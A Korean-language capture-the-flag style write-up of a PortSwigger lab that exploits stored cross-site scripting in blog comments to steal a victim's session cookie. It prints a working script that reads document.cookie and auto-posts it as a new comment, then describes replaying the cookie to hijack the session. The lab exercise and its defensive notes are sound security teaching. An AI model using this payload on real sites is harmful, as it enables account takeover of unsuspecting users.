[Write-Up] PortSwigger - Exploiting Cross-Site Scripting to Steal Cookies
목차
문제 분석
난이도:
PRACTITIONER
Lab: Exploiting cross-site scripting to steal cookies
블로그 댓글 기능에 Stored XSS가 존재하며 시뮬레이션 피해자가 새 댓글을 확인한다. 피해자의 세션 쿠키를 획득해 해당 사용자로 가장하면 문제가 해결된다.
XSS 진단
댓글 본문에는 다음과 같은 기본 페이로드를 저장할 수 있다.
<script>alert(1)</script>
따라서 피해자가 게시글을 열었을 때 같은 출처의 JavaScript로 document.cookie에 접근할 수 있다. 일반적인 풀이는 Burp Collaborator로 쿠키를 전송하지만, Collaborator를 사용할 수 없는 환경에서는 피해자 브라우저가 쿠키를 새로운 댓글로 작성하게 만들어 같은 결과를 확인할 수 있다.
이 방식은 PortSwigger의 격리된 실습 환경에서만 사용한 대안이다. 실제 환경에서 세션 쿠키 탈취를 시도해서는 안 된다.
익스플로잇
피해자의 쿠키를 댓글 작성 폼에 넣고 자동 제출하는 스크립트를 댓글에 저장한다.
<script>
document.addEventListener('DOMContentLoaded', () => {
const form = document.querySelector('form[action="/post/comment"]');
form.elements.comment.value = 'cookie: ' + document.cookie;
form.elements.name.value = 'victim';
form.elements.email.value = 'xss@example.com';
form.elements.website.value = 'http://example.com';
form.submit();
});
</script>
피해자가 게시글을 열면 스크립트가 해당 세션의 document.cookie를 읽고 새로운 댓글의 본문으로 제출한다. 공격자 계정에서 게시글을 다시 확인하면 피해자의 쿠키가 저장되어 있다.
secret=<victim-secret>; session=<victim-session>

브라우저의 session 쿠키를 획득한 값으로 교체하고 페이지를 요청하면 피해자의 세션으로 접근되어 문제가 해결된다.

정리
XSS의 영향은 팝업 출력에 그치지 않는다. 세션 쿠키에 HttpOnly가 없다면 같은 출처에서 실행되는 스크립트가 값을 읽어 세션 탈취로 확장할 수 있다. 다만 실제 애플리케이션에서는 HttpOnly, 세션 만료, IP나 기기 바인딩 같은 추가 방어로 인해 공격 조건이 달라질 수 있다.
